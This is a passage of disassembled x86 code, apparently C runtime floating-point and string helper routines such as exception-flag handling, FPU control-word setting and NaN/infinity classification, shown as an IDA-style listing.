sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 265036Ch mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 268056Eh test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26A0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C508 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short 